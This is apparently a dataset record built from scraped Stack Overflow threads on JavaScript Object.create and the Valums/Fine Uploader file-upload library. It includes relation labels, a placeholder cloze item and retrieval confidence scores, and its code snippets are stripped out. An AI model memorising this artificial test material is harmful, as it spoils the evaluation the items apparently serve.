mutually exclusive . The code generates this helpful error in Chrome : .. . .. . This makes some logical sense : if you have set get accessors on a property that property is never going to be written to and or read from because any attempts to read-write it will be intercepted by the accessor functions . If you define a property as writable and give it accessor functions you are simultaneously saying : .. . .. . 1 . The value of this property can be directly altered and .. . 2 . Block all attempts to read and or write to this property instead use these functions . The error is simply stopping you from specifying a contradiction . I assume from the fact that you wrote a getter and setter you don t really want the property to be writable . Just remove that line and your code runs perfectly . Comment : +1 . Just delete the writable : true bit from bar and it s fine . Comment : i guess then the mozilla reference is wrong . Comment : @John You might be interested in John Resigs blog post about ECMAScript 5 : ejohn.org blog ecmascript-5-objects-and-properties http : ejohn.org blog ecmascript-5-objects-and-properties", "Question : I was wondering how I could make private variables in javascript through clojure . But still have them cloned when using Object.create . I got this technique from http : ejohn.org blog ecmascript-5-objects-and-properties but it got this limitation that the closure variables is the same on all Objects . I know this behaviour on javascript is supposed but how can I create true private variables Comment : this code looks auto generated was it generated by clojure code Comment : Nope it wasn t why do you think it looks auto-generated Comment : As an alternative without private variables could be jsfiddle.net heera G9E9m http : jsfiddle.net heera G9E9m .. . Answer : When you need to add private variables to just one object which was created with Object.create you can make this : .. . .. . If you want you can even avoid unnecessary public function init private like this : .. . .. . Bad thing is that you could not append private members with several calls . The good thing is that this method is quite intuitive in my opinion . This code was tested with Rhino 1.7 release 3 2013 01 27", "Question : Presume I have an object like this : .. . .. . Problem : I want to initialize that sprite with the right src . However when I use the following creation technique : .. . .. . I don t have a constructor method aka init function to setup sprite.src cool.png .. . .. . My question : .. . .. . If I am using the object-literal technique and Object.create when do I actually initialize some of my internal state like the example of the new Image .. . .. . My solution : .. . .. . However I don t know if that s a great pattern . I d like to do this the JavaScript Way if there is a way . : .. . .. . Thanks Comment : It seems you would rather make your code complex than take advantage of the simplicity of object system . .. . Answer : I think this article sums it up pretty nicely : .. . .. . http : www.bennadel.com blog 2184-Object-create-Improves-Constructor-Based-Inheritance-In-Javascript-It-Doesn-t-Replace-It.htm Comment : In fact this article refers to the following blog post that actually does explain how to emulate constructors with Object.create : uxebu.com blog 2011 02 http : www.uxebu.com blog 2011 02 object-based-inheritance-for-ecmascript-5", "Question : How do I inherit with the Object.create I tried these but none are working : .. . .. . and .. . .. . and .. . .. . Nothing worked . How am I supposed to use this new Object.create -function Comment : possible duplicate of Using Object.create instead of new http : stackoverflow.com questions 2709612 using-object-create-instead-of-new .. . Answer : The original documentation for Douglas Object.create is here http : javascript.crockford.com prototypal.html . Make sure you have included the definition of the the method Comment : ..not recommended to use that implementation though see : stackoverflow.com questions 5199126 http : stackoverflow.com questions 5199126 javascript-object-create-not-working-in-firefox", "Question : I recently stumbled upon the Object.create method in JavaScript and am trying to deduce how it is different from creating a new instance of an object with new SomeFunction and when you would want to use one over the other . Consider the following example : .. . .. . Notice that the same behavior is observed in both cases . It seems to me that the primary differences between these two scenarios are : .. . .. . The object used in Object.create actually forms the prototype of the new object where as in the new Function form the declared properties functions do not form the prototype . You cannot create closures with the Object.create syntax as you would with the functional syntax . This is logical given the lexical vs block type scope of JavaScript . Are the above statements correct And am I missing something When would you use one over the other EDIT : link-to jsfiddle version of above code sample : http : jsfiddle.net rZfYL Comment : See also Using Object.create instead of new http : stackoverflow.com q 2709612 1048572 .. . Answer : Internally Object.create does this : .. . .. . The syntax just takes away the illusion that JavaScript uses Classical Inheritance . Comment : The ECMAScript 5 Object.create http : sideshowbarker.github.com es5-spec x15.2.3.5 method does a lot more than that you can define properties by property descriptors and you can create an object that doesn t inherit from anything Object.create null this type of shims should be avoided because you can t really emulate that behavior on ES3 . More info http : stackoverflow.com questions 3830800 object-defineproperty-in-es5 3844768 3844768 Comment : Hmm did not know .", "Question : I ve been reading up on the Crockford shim for preventing the overwriting of prototypes and understand that it s not the end-all be-all solution at times . I also understand that ES5 Shim https : github.com kriskowal es5-shim may be a viable alternative to this . I also read this post which provides a more robust secure alternative http : stackoverflow.com questions 3830800 object-defineproperty-in-es5 3844768 . Still I d like to know what his Object.create shim is saying and then doing . Can someone please tell me if my explanation comments are right This way the prototype of the stooge object can t be overwritten when we augment stuff to another stooge . No need to reset the stooge prototype using constructor . Thanks in advance .. . .. . -k .. . Answer : There are two tricks here : .. . .. . 1 . F is not a simple function it is a constructor . 2 . F.prototype is just a property it does nothing with inheritance in this moment . The real trick is that when we use new F the new creates a new object calls the constructor which does not do anything here AND sets the new object s internal prototype field with the value of F.prototype so the returned object will inherit from o . So I think that : .. . .. . F is a constructor .. . F is not inherit from o .. . new F which is the returned object is inherit from o", "Question : I have been playing around with Object.create in the EcmaScript 5 spec and I am trying to create a multiple-inheritance type structure . Say I have a few functions : a b and c . With only dealing with prototypes I can do this : .. . .. . But using Object.create I would do something this : .. . .. . I think I get the same result both ways . This seems kinda clunky because I get on object back instead of a constructor function . It seems to me that doing the regular prototypical inheritance is less intrusive and makes more sense for modular applications that don t need any special treatment to work . Am I missing anything Is there any benefit of trying to make Object.create with making constructors Or is this only useful for copying existing objects I only want access to properties functions attached to the prototype and not functions and properties added afterward to the object . Or what about this or use a better deep-copy but the idea remains the same .. . Answer : If you need to support browsers that don t support Object.create you can use this .. . .. . The object function untangles JavaScript s constructor pattern achieving true prototypal-inheritance . It takes an old object as a parameter and returns an empty new object that inherits from the old one . If we attempt to obtain a member from the new object and it lacks that key then the old object will supply the member . Objects inherit from objects . What could be more object oriented than that More can be read here : Prototypal Inheritance in JavaScript http : javascript.crockford.com prototypal.html Comment : Because Object.create takes a second parameter that you cannot poly fill you may want to throw an error if someone provides it . Just so you or someone else using your code would have a clear error instead of unexpected behavior : developer.mozilla.org en-US docs Web JavaScript Reference https : developer.mozilla.org en-US docs Web JavaScript Reference Global Objects Object create Cross-browser compatibility" ] }
[ "yes-answer-long", "yes-answer-short" ]
new-operator
UNK_RELATION
valums-file-uploader@multiple-files@92
valums-file-uploader -- valum s file uploader is a javascript + ajax library for uploading @placeholder with a progress-bar in ff3 .6 + safari4 + chrome and falls back to hidden-iframe-based upload in other browsers namely ie .
{ "confidence": [ 80.08697509765625, 75.0352554321289, 72.12356567382812, 71.44432830810547, 70.7430419921875, 69.7459487915039, 69.66716766357422, 67.98697662353516, 67.8253402709961, 67.21826171875, 66.71015930175781, 66.17630767822266, 63.83788299560547, 63.360679626464844, 62.603294372558594, 62.43568420410156, 61.67741394042969, 59.42472839355469, 57.299774169921875, 57.254783630371094, 56.84440612792969, 56.635772705078125, 56.27198791503906, 56.26518249511719, 54.95322799682617, 53.870094299316406, 53.7518310546875, 53.7518310546875, 53.7518310546875, 52.91357421875, 52.68553924560547, 50.90174865722656, 50.48497009277344, 50.41424560546875, 50.336639404296875, 50.336639404296875, 49.533447265625, 48.56425094604492, 47.7773551940918, 46.870269775390625, 46.15801239013672, 46.15801239013672, 45.720191955566406, 45.271697998046875, 44.76708984375, 44.71798324584961, 44.49969482421875, 43.86054992675781, 43.86054992675781, 43.26026916503906, 43.229549407958984, 43.037384033203125, 42.950927734375, 42.78401184082031, 42.78401184082031, 42.78401184082031, 42.63402557373047, 42.48451232910156, 42.176353454589844, 40.864261627197266, 40.83339309692383, 40.81496810913086, 40.164344787597656, 40.164344787597656, 39.728240966796875, 39.40155029296875, 38.93217086791992, 38.653526306152344, 38.23161315917969, 38.143707275390625, 37.773887634277344, 37.30634307861328, 37.07231903076172, 37.06532287597656, 36.98413848876953, 36.92084503173828, 36.63566589355469, 36.63566589355469, 36.63566589355469, 36.63566589355469, 36.63566589355469, 36.63566589355469, 36.63566589355469, 36.632057189941406, 36.564109802246094, 36.3089714050293, 35.63671112060547, 35.502952575683594, 35.49186706542969, 35.328216552734375, 35.26676940917969, 34.76580047607422, 34.56965255737305, 34.568931579589844, 34.476036071777344, 34.227867126464844, 33.71562576293945, 33.35639953613281, 33.194705963134766, 32.64033508300781 ], "content": [ "I m working on file-upload via a webpage with a progress-bar using Valums file uploader https : github.com valums file-uploader .", "I am using Valums-File-Uploader VERSION 2.1.2 It comes from https : github.com Valums-File-Uploader file-uploader .", "Is there any way to make Valums File Uploader https : github.com valums ajax-upload to accept only a single file", "Do you meant this plugin valums file-uploader https : github.com valums file-uploader", "I m using the Valums File Uploader to upload files using XHR .", "For a client of mine I created a simple web gallery for uploading images and I m using valums-file-uploader https : github.com valums file-uploader .", "Im trying to submit a file to Valums-File-Uploader https : github.com Valums-File-Uploader file-uploader but im having trouble getting the file to submit upload action to start .", "The valums file-uploader repo was then transferred to Widen fine-uploader .", "I finally managed to get the valums-file-uploader working in all the browsers .", "I am uploading a picture to the Express.js 3.0.0 server using ajax Valum s qq uploader https : github.com valums file-uploader .", "Hi Matt it s a working piece of code from the Valums file uploader valums.com ajax-upload http : valums.com ajax-upload .", "I want to apply valums-file-uploader to this button .", "I m using Valum s Ajax file-uploader .", "You can download it here http : valums-file-uploader.github.io file-uploader .", "post the html of file uploader after uploading the file", "I use valums-file-uploader and I have a problem with image dimension validatation before upload .", "Within my JSP page I have used the following ajax call valums-file-uploader and the file is uploaded successfully .", "how can I get fileSize from Valums-File-Uploader onComplete and pass it to server as params", "Also uploader works with Chrome Opera and IE but not Firefox .", "On GitHub https : github.com valums file-uploader they have asp.net-mvc demo .", "How i can call in onSubmit procedure cancel and dequeue event which valums-file-uploader handling", "I m trying to get multiple instances of valum file uploader working on my site .", "If you are using valums-file-uploader then you can specify file size limit in plugin options .", "The button would delete that file from server ajax and reload file uploader .", "I am trying to change the allowed file extensions of a valums-file-uploader that is being used by a wordpress-plugin I have to use .", "Update : this is how the plugin creates the file uploader : .. . .. . Thanks .", "I just switched from everyauth to passportjs and everything worked out great except my implementation of Valums file uploader .", "valums file-uploader has been evolving rapidly since I took over development .", "The problem was that i wasnt using an absolute path which Valums-File-Uploader requires .", "File-uploader can be easily downloaded http : valums-file-uploader.github.io file-uploader but for the fine-uploader I have to provide my email-address to download http : fineuploader.com downloads.html and it would allow me to use it only for 45 days for free .", "In August of 2012 after the library at valums file-uploader decayed for a while as Andrew ran out of time to work on the project he handed it over to me .", "There s quite the copies of valums file-upload .", "I ve set the target path in file uploader to upload because I want the files to be stored after the upload also in this directory .", "My action is like this : .. . .. . Looking through the documentation http : valums-file-uploader.github.io file-uploader for the uploader there aren t any exposed hooks that I can find that would allow me access outside the qq code to manipulate the form it generates .", "can you show us how you create your file uploader", "As I said it s not me creating the file uploader it s a plugin .", "You should be using Widen fine-uploader https : github.com Widen fine-uploader .", "I m using this script to made a multi images upload .. . .. . http : github.com valums file-uploader .. . .. . It works fine if i have only one instance of the plugin in the page .", "If anyone have time and will to help me here is the JavaScript that I use to call the valums uploader : .. . .. . And here is my PHP for server processing the file : .. . .. . Let me say again all the calls to MySQL files with require are valid .", "Andrew Valums Ajax Upload which can be found at http : valums.com ajax-upload .", "The name was then changed to Fine Uploader .", "Fine Uploader is MIT as of 5.9.0 .", "I am trying to upload an file using valum s ajax upload .", "On this page Ajax Upload using valums ajax upload plugin inside a form http : stackoverflow.com questions 2227307 ajax-upload-using-valums-ajax-upload-plugin-inside-a-form could you not use the onComplete section to find the response code", "When using IE 9 I can t check uploading file size with JavaScript because IE 9 does not support this .", "Meanwhile the official Fine Uploader a.k.a .", "I know it s been a while since you posted this but I just learned that the multiple : false parameter is supported in version 2.0 beta of Valums File Uploader .", "Second if the jQuery plugin WAS being used you would reset the uploader by doing this : fine-uploader .fineUploader reset .", "If you are using Fine Uploader in a free project then you may use Fine Uploader for free .", "The one at valums-file-uploader.github.io was one such fork .", "If you look in the source code it looks like you could add the antiforgery token code to the createForm : function iframe params .. . portion of the uploader and be good to go .", "First of all the author of the question is not using the jQuery plug-in for Fine Uploader so he she would have to call uploader.reset given the fact that the uploader instance is stored in a variable called uploader according to the code pasted in the question .", "the other option that I haven t tested might be to add the anti-forgery to the params variable when you call the uploader .", "But thats all external code separated from uploader .", "Fine Uploader 3.0 has a reset dispose function .", "Please note that there is a long and storied history of Fine Uploader .", "What I meant in FireFox the xhr contentType was setted to application octet-stream after I commented that line in uploader js in other browsers no contentType was sent and the upload worked .", "The only way I can think of is to have your uploader page pass along some unique ID of the file that they are overwriting .", "The original library was developed by Andrew Valums .", "I have following div for this purpose : .. . .. . I initialized the uploader on javascript as follows : .. . .. . Following is my qq.fileUploader function inside fileuploader.js : .. . .. . Now what happens is that the qq-upload-button is not loaded on low quality cell phones or slow internet connectivity .", "Now after uploading file successfully I want to save file name and size to Sqlserver at once .", "I took the php.php file included in the uploader zip copied and renamed it then added at the end this : .. . .. . If the upload is successful I just get a 1 returned to the onComplete method .", "Also is there a way to apply uploader to two different elements with the same config", "Trying to set QQ uploader element to an element that s within a Underscore.js template .", "And it seems the main branch has a different name now https : github.com Widen fine-uploader .", "I m trying to add a file uploader to one jquery dataTable editable http : code.google.com p jquery-datatables-editable .. . .. . I tried adding a div to the form but fineUploader keeps the state from the last operation .", "I don t know if it is the same question but take a look at this topic : .. . .. . Delete Specific File From the List of Uploads http : stackoverflow.com questions 11667020 delete-a-specific-file-from-the-list-of-uploads-using-valums-ajax-uploader .. . .. . Well What I did is in the fileuploader.js I ve changed the filetemplate I ve putted an ID to the li list so In my HTML file in fact aspx I wrote a Style for them .. . .. . in fileuploader.js locate .. . .. . So that has vanished with the list .", "The problem was the old version of file uploader didn t set type for uploaded file and Safari set it to default plain post so express.js incorrectly process it as plain post query .", "To limit uploading to only a single file I simply used onComplete callback and I removed the upload button hope this helps :", "I am still looking for a way to identify a file that has changed and to update it this is uploading a file changing it locally uploading it again .", "We put money and time into Fine Uploader and it s important that the product remains financially viable in order for us to continue to maintain and evolve the library .", "I have a Javascript function .. . .. . and a link .. . .. . Now on clicking the link IE9 8 shows the prompt box asking for LEAVE THE PAGE and STAY ON PAGE .. . .. . EDIT .. . .. . The file-upload button is generated from Valum s qqFileuploader library .", "I had serious problems with PHP 5.4 upload monitoring based on sessions as described here http : phpmaster.com tracking-upload-progress-with-php-and-javascript on some platforms .", "All browsers are only expecting the actual file drag drop format CF HDROP but when dragging from Outlook there is no file on the filesystem .", "The one you referenced valums-file-uploader.github.io has had no activity for over 7 months .", "But when he saved the file into his filesystem and then drag and dropped the file the upload was successful .", "This all assumes you are using the 2.1-SNAPSHOT version of the uploader as the option I mentioned first appeared in this version .", "The content-type of the XHR POST request is hardcoded to application octet-stream in the uploader js code .", "Update : As of version 5.9.0 in May of 2016 Fine Uploader is now 100 Free Open Source Software licensed under MIT .", "The only current actively maintained version is the original now located at Widen fine-uploader http : fineuploader.com .", "In late March of 2013 Andrew and I transferred ownership of Fine Uploader to Widen Enterprises my employer .", "There is a commercial license which you must purchase if you are using Fine Uploader in a commercial setting .", "If I jQuery select the element that s within the Underscore.js template and try to use it as a QQ uploader element it doesn t work .", "So if I upload large file with IE server will throw exception because of above setting written in web.config .", "If another file is being selected after uploading a file the uploaded file should be replaced by the current one .", "You can see the Gist of my fileuploader code at https : gist.github.com 4066155 .. . .. . My app.configure for express looks like this : .. . .. . Strangely enough if I comment out app.use passport.session - the file uploader seems to work fine .", "I am having trouble creating multiple uploads with valums ajax-upload whereby a user can select mutiple files at once instead of one at a time .", "I need the user to upload a single file only .", "If you can it would be better to use a third party library component to handle file-upload that already has built-in compatibility with JSF 2 like PrimeFaces File Upload http : www.primefaces.org showcase ui fileUploadMultiple.jsf or RichFaces File Upload http : showcase.richfaces.org richfaces component-sample.jsf demo fileUpload components .", "yes this will prevent files which have not changed this is uploading the same file twice .", "Looks like both of the libraries built by Andrew Valums .", "The plugin is using hidden iframe so I cannot get status code .", "The solution was to update upload library .", "Here s the IE bug : connect.microsoft.com IE feedback details 867235 https : connect.microsoft.com IE feedback details 867235 html5-fileapi-file-input-does-not-support-dragging-and-dropping-from-outlook", "Our licensing model which is covered in the licensing FAQ http : fineuploader.com faq was written with the expectation that commercial uses of Fine Uploader would be licensed paid .", "I am using valums fileuploader using jQuery to implement drag-and-drop functionality in my application .", "The file then gets moved from the temporary upload area into the FS .", "I am using Valums FileUploader and I am having trouble getting and reading a response after a file is uploaded .", "Look for the replacement in the file-upload repo .", "If you are using scripts to enable disable file writes ensure that you enable writing before uploading ." ] }
{ "confidence": [ 88.1964340209961, 84.88592529296875, 82.83828735351562, 81.29686737060547, 81.18075561523438, 81.03433990478516, 80.53004455566406, 80.31719207763672, 79.39311981201172, 78.07780456542969, 77.36176300048828, 76.78553009033203, 75.26632690429688, 75.0154037475586, 73.83639526367188, 73.76091003417969, 73.53572845458984, 73.41090393066406, 71.44956970214844, 69.89842224121094 ], "content": [ "Question : Is there any way to make Valums File Uploader https : github.com valums ajax-upload to accept only a single file Right now with multiple : false you cannot limit the number of files to upload but instead you can get the user to upload files one-by-one rather than allowing multiple selection . I need the user to upload a single file only . If another file is being selected after uploading a file the uploaded file should be replaced by the current one . Can anyone help me in how to achieve this .. . Answer : I know it s been a while since you posted this but I just learned that the multiple : false parameter is supported in version 2.0 beta of Valums File Uploader . You can download it here http : valums-file-uploader.github.io file-uploader .", "Question : Is there any way to make Valums File Uploader https : github.com valums ajax-upload to accept only a single file Right now with multiple : false you cannot limit the number of files to upload but instead you can get the user to upload files one-by-one rather than allowing multiple selection . I need the user to upload a single file only . If another file is being selected after uploading a file the uploaded file should be replaced by the current one . Can anyone help me in how to achieve this .. . Answer : To limit uploading to only a single file I simply used onComplete callback and I removed the upload button hope this helps : Comment : That is the solution I finally came up with . But I guess this is not a good solution . What about if user wants to re-upload another file instead of the one that is just uploaded change the uploaded picture say because he she didn t like it and or uploaded the wrong picture Comment : I would probably add delete button by the uploaded files filename . The button would delete that file from server ajax and reload file uploader . But thats all external code separated from uploader .", "Question : I searched for solution to this the better part of the day and I m still in the dark . For a client of mine I created a simple web gallery for uploading images and I m using valums-file-uploader https : github.com valums file-uploader . Till now I didn t have any problems with it on any other site I created except miss-configuration which I solved some time ago . So what is the problem When I upload a image with filesize below 260KB it works fine . But when I m uploading a bigger image it doesn t throw me back any error . I just get an empty thumbnail because image wasn t uploaded . When I open Chrome Console this is what I see : .. . .. . .. . POST http : designflowstudio.com gallery2 include upload.php url uploads 2Fe558c4dfc2a0f0d60f5ebff474c97ffc fid 7 qqfile 316267269718409738080100.jpg 403 Forbidden fileuploader.js : 1463 .. . POST http : designflowstudio.com gallery2 include upload.php url uploads 2Fe558c4dfc2a0f0d60f5ebff474c97ffc fid 7 qqfile 3.jpg 403 Forbidden fileuploader.js : 1463 .. . .. . .. . On some occasions I got 413 error Request entity too large . Let me say that this problem really annoys me because the script works well on my local web server apache and on my web server . Here I can upload as may and as big images as I can find but on the client s web server.. . If anyone have time and will to help me here is the JavaScript that I use to call the valums uploader : .. . .. . And here is my PHP for server processing the file : .. . .. . Let me say again all the calls to MySQL files with require are valid . The scripts work on two other servers but on this one not . Thank you for your time and will to help . Comment : Well I figure it out . The script fileuploader.js sets content-type to application octet-stream . Till now all servers were good with it but not this one . This was starting to work out when I commented the part where it sets this content-type . Part that I have commented : xhr.setRequestHeader Content-Type application octet-stream Meanwhile I thought that there is mod-security enabled on server and corrupts POST data . I m posting this in hope that someday someone may need this information . And because I regularly search for help here at SO . Cheers : .. . Answer : You have some configuration issues on your server if it is choking due to the content-type header . Instead of commenting out this line to work around this messed up server you should perhaps try to set the forceMultipart option to true assuming your server can handle multipart-encoded requests correctly . This all assumes you are using the 2.1-SNAPSHOT version of the uploader as the option I mentioned first appeared in this version . Comment : I m using the options forceMultipart : true and it didn t change anything . At first I used the old version and then I updated to the latest . The error was still there . And after some research and Googling I m still suspecting that there is a problem with mod-security but the client wasn t wiling to contact his administrator to clarify this and to change server setting . Also uploader works with Chrome Opera and IE but not Firefox . Something sets the content-Type to application octet-stream and of course it s denied . Also tried with content-Type multipart form-data no luck . Comment : The content-type of the XHR POST request is hardcoded to application octet-stream in the uploader js code . If setting forceMultipart to true doesn t fix your problem then the issue is not the content-type . Comment : What I meant in FireFox the xhr contentType was setted to application octet-stream after I commented that line in uploader js in other browsers no contentType was sent and the upload worked . Can I say to the client that this is server misconfiguration Comment : I would certainly say the issue is server-side . Comment : Thank you for your help .", "Question : I m working on file-upload via a webpage with a progress-bar using Valums file uploader https : github.com valums file-uploader . Almost everything works fine but I m not able to change the default tmp directory where the file is stored during the upload . Files should be stored in upload directory and not in default system tmp directory because tmp is mounted in a RAM disk which has its size limited to 4 MB and user will be uploading files around 10 MB . I ve searched lots of webpages but none of solutions worked . I ve set temp directory in php.ini : .. . .. . I ve set permissions to the upload dir and apache is owner of the file so the directory is definitely writable by PHP . I ve set the target path in file uploader to upload because I want the files to be stored after the upload also in this directory . The final result is small files are being uploaded successfuly but files larger than 4 MB fail to upload-the only reason of this behaviour that comes to my mind is that files are stored in tmp during upload . To be sure I ve checked it with sys get temp dir and the result was tmp -so PHP ignores my php.ini directive or there is some other way to set where files are stored during upload . Oh and the last information : open basedir isn t set so the PHP access to disk is only limited by file-permissions . Comment : Did you restart your server sorry for this silly question Comment : There are no silly questions just silly answers : . Yes I ve done it many times while trying to solve the problem and trying different solutions . Comment : Did you check that php is not installed as cgi mod From doc : If the directory specified here is not writable PHP falls back to the system default temporary directory Comment : Can you check also upload tmp dir in phpinfo Comment : Okay now my turn for stupid question : how am I supposed to check if php is installed as cgi mod .. . Answer : I struggled with this issue for a long time.. . My solution was to modify the php.ini file in the folder that contained the php script . This was important as modifying the php.ini at the root did not resolve the problem I have a php.ini in each folder for granular control . The relevant entries in my php.ini looked like this... . the output buffering is not likely needed for this issue", "Question : Is there any way to make Valums File Uploader https : github.com valums ajax-upload to accept only a single file Right now with multiple : false you cannot limit the number of files to upload but instead you can get the user to upload files one-by-one rather than allowing multiple selection . I need the user to upload a single file only . If another file is being selected after uploading a file the uploaded file should be replaced by the current one . Can anyone help me in how to achieve this .. . Answer : I force to select one file at time commenting this line .. . .. . if this . options.multiple input.setAttribute multiple multiple and multiple : qq.UploadHandlerXhr.isSupported", "Question : I have written this in web.config : .. . .. . On client-side I m using valum s AjaxUpload plugin . When using IE 9 I can t check uploading file size with JavaScript because IE 9 does not support this . So if I upload large file with IE server will throw exception because of above setting written in web.config . How can I catch this exception and show message to user thanks in advance Comment : The response code should be different from the server 200 you should be able to catch the response code to present your message Comment : The plugin is using hidden iframe so I cannot get status code . Additionally it throws this error only when exception is thrown on server-side : Unsafe JavaScript attempt to access frame with URL data : text html chromewebdata from frame with URL my url . The frame requesting access has a protocol of http the frame being accessed has a protocol of . Protocols must match . Comment : What version of this plug in It sounds like you may be using an old non-official version . .. . Answer : If you are using valums-file-uploader then you can specify file size limit in plugin options . And in case of any error you also can handle it onError : function .. .", "Question : I am using Valums-File-Uploader VERSION 2.1.2 It comes from https : github.com Valums-File-Uploader file-uploader . Now after uploading file successfully I want to save file name and size to Sqlserver at once . how can I get fileSize from Valums-File-Uploader onComplete and pass it to server as params thanks a lot in advance for any help .. . Answer : 1 . The onComplete callback is invoked after your server has already processed the file and has returned a response . 2 . The repo you referenced was abandoned months ago . You should be using Widen fine-uploader https : github.com Widen fine-uploader . Comment : thanks I get filesize and name from server manually . The repo I referenced is still working and the latest is paid version . Comment : No the repo you referenced is not still working and it does not contain the paid version you mentioned . That particular repo has been dead for months now . Click on the link you provided and have another look at the recent activity .", "Question : I finally managed to get the valums-file-uploader working in all the browsers . Now once the file gets uploaded it still shows the file just uploaded in a li just below the file input field . I need to remove this li as i am submitting a complete form with ajax that gets reset after submission . So the previous file name needs to be removed . Any help Comment : post the html of file uploader after uploading the file .. . Answer : Fine Uploader 3.0 has a reset dispose function . When I wrote it I was not 100 sure how developers would use it so it could possibly use some improvement but it will among other things clear the list of uploaded files if you are using FineUploader as opposed to FineUploaderBasic . Note that 3.0 is scheduled to release in Nov . 19 but you can build the snapshot version now if you d like .", "Question : I finally managed to get the valums-file-uploader working in all the browsers . Now once the file gets uploaded it still shows the file just uploaded in a li just below the file input field . I need to remove this li as i am submitting a complete form with ajax that gets reset after submission . So the previous file name needs to be removed . Any help Comment : post the html of file uploader after uploading the file .. . Answer : I don t know if it is the same question but take a look at this topic : .. . .. . Delete Specific File From the List of Uploads http : stackoverflow.com questions 11667020 delete-a-specific-file-from-the-list-of-uploads-using-valums-ajax-uploader .. . .. . Well What I did is in the fileuploader.js I ve changed the filetemplate I ve putted an ID to the li list so In my HTML file in fact aspx I wrote a Style for them .. . .. . in fileuploader.js locate .. . .. . So that has vanished with the list .", "Question : I finally managed to get the valums-file-uploader working in all the browsers . Now once the file gets uploaded it still shows the file just uploaded in a li just below the file input field . I need to remove this li as i am submitting a complete form with ajax that gets reset after submission . So the previous file name needs to be removed . Any help Comment : post the html of file uploader after uploading the file .. . Answer : You must include : .. . .. . But in my case with an editable datatable it resets the whole table while i was expecting to only reset the FileUploader related objects . Besides that it works . Comment : Your code will not work . First of all the author of the question is not using the jQuery plug-in for Fine Uploader so he she would have to call uploader.reset given the fact that the uploader instance is stored in a variable called uploader according to the code pasted in the question . Second if the jQuery plugin WAS being used you would reset the uploader by doing this : fine-uploader .fineUploader reset . Comment : You should put this tip into the documentation for the jQuery wrapped version - it took me a while to find it .", "Question : Is there any way to make Valums File Uploader https : github.com valums ajax-upload to accept only a single file Right now with multiple : false you cannot limit the number of files to upload but instead you can get the user to upload files one-by-one rather than allowing multiple selection . I need the user to upload a single file only . If another file is being selected after uploading a file the uploaded file should be replaced by the current one . Can anyone help me in how to achieve this .. . Answer : I think hiding the button is not a very good option here s what i have done . I basically overwrote the storeFileForLater method", "Question : Im trying to submit a file to Valums-File-Uploader https : github.com Valums-File-Uploader file-uploader but im having trouble getting the file to submit upload action to start . Im able to send example.txt to the file input but I am unable to make the submit action take place . Does anyone know how I can do this Any help would be appreciated . .. . Answer : The problem was that i wasnt using an absolute path which Valums-File-Uploader requires . .sendKeys C : workspace project src resources data ExampleCV.docx .. . .. . use double", "Question : I m working on file-upload via a webpage with a progress-bar using Valums file uploader https : github.com valums file-uploader . Almost everything works fine but I m not able to change the default tmp directory where the file is stored during the upload . Files should be stored in upload directory and not in default system tmp directory because tmp is mounted in a RAM disk which has its size limited to 4 MB and user will be uploading files around 10 MB . I ve searched lots of webpages but none of solutions worked . I ve set temp directory in php.ini : .. . .. . I ve set permissions to the upload dir and apache is owner of the file so the directory is definitely writable by PHP . I ve set the target path in file uploader to upload because I want the files to be stored after the upload also in this directory . The final result is small files are being uploaded successfuly but files larger than 4 MB fail to upload-the only reason of this behaviour that comes to my mind is that files are stored in tmp during upload . To be sure I ve checked it with sys get temp dir and the result was tmp -so PHP ignores my php.ini directive or there is some other way to set where files are stored during upload . Oh and the last information : open basedir isn t set so the PHP access to disk is only limited by file-permissions . Comment : Did you restart your server sorry for this silly question Comment : There are no silly questions just silly answers : . Yes I ve done it many times while trying to solve the problem and trying different solutions . Comment : Did you check that php is not installed as cgi mod From doc : If the directory specified here is not writable PHP falls back to the system default temporary directory Comment : Can you check also upload tmp dir in phpinfo Comment : Okay now my turn for stupid question : how am I supposed to check if php is installed as cgi mod .. . Answer : The problem described here was solved by me quite a long time ago but I don t really remember what was the main reason that uploads weren t working . There were multiple things that needed fixing so the upload could work . I have created checklist that might help others having similar problems and I will edit it to make it as helpful as possible . As I said before on chat I was working on embedded system so some points may be skipped on non-embedded systems . Check upload tmp dir in php.ini . This is directory where PHP stores temporary files while uploading . Check open basedir in php.ini . If defined it limits PHP read-write rights to specified path and its subdirectories . Ensure that upload tmp dir is inside this path . Check post max size in php.ini . If you want to upload 20 Mbyte files try something a little bigger like post max size 21M . This defines largest size of POST message which you are probably using during upload . Check upload max filesize in php.ini . This specifies biggest file that can be uploaded . Check memory limit in php.ini . That s the maximum amount of memory a script may consume . It s quite obvious that it can t be lower than upload size to be honest I m not quite sure about it-PHP is probably buffering while copying temporary files . Ensure that you re checking the right php.ini file that is one used by PHP on your webserver . The best solution is to execute script with directive described here http : php.net manual en function.php-ini-loaded-file.php php-ini loaded file function .. . .. . Check what user php runs as See here how to do it : How to check what user php is running as http : stackoverflow.com questions 7771586 how-to-check-what-user-php-is-running-as . I have worked on different distros and servers . Sometimes it is apache but sometimes it can be root . Anyway check that this user has rights for reading and writing in the temporary directory and directory that you re uploading into . Check all directories in the path in case you re uploading into subdirectory for example dir1 dir2 -check both dir1 and dir2 . On embedded platforms you sometimes need to restrict writing to root filesystem because it is stored on flash card and this helps to extend life of this card . If you are using scripts to enable disable file writes ensure that you enable writing before uploading . I had serious problems with PHP 5.4 upload monitoring based on sessions as described here http : phpmaster.com tracking-upload-progress-with-php-and-javascript on some platforms . Try something simple at first like here : http : www.dzone.com snippets very-simple-php-file-upload . If it works you can try more sophisticated mechanisms . If you make any changes in php.ini remember to restart server so the configuration will be reloaded . Comment : Nice checklist - thanks Comment : memory limit is not a problem for uploads . See stackoverflow.com a 5828654 956397 http : stackoverflow.com a 5828654 956397 Comment : If you do not plan to read the whole file in PHP you re right . However it s good to keep this point in checklist to keep it more universal . Comment : nice list : D but any specific reason for the php-ini-loaded-file link-to point to the polish php.net Comment : Lol polish version was not translated so it was identical to English version at the time of writing this post . Fixed now .", "Question : I use valums-file-uploader and I have a problem with image dimension validatation before upload . image extension and image filesize return false but because image dimnension is in onload async function returning false has no effect and image is submitted and uploaded . sample code : .. . .. . Any ideas how to do this Edit : Subquestion . How i can call in onSubmit procedure cancel and dequeue event which valums-file-uploader handling If is this possible then i can call this events in my validation and cancel upload image. . .. . Answer : I have solution : This is not entirely the whole code because it is a bit complicated . It works something like this to me : .. . .. . sys.upload.php .. . .. . sys.upload-validate.php .. . .. . Maybe it helps someone :", "Question : I have a Javascript function .. . .. . and a link .. . .. . Now on clicking the link IE9 8 shows the prompt box asking for LEAVE THE PAGE and STAY ON PAGE .. . .. . EDIT .. . .. . The file-upload button is generated from Valum s qqFileuploader library . Could someone guide me whats wrong with it Comment : @Padyster if open false what should happen IE 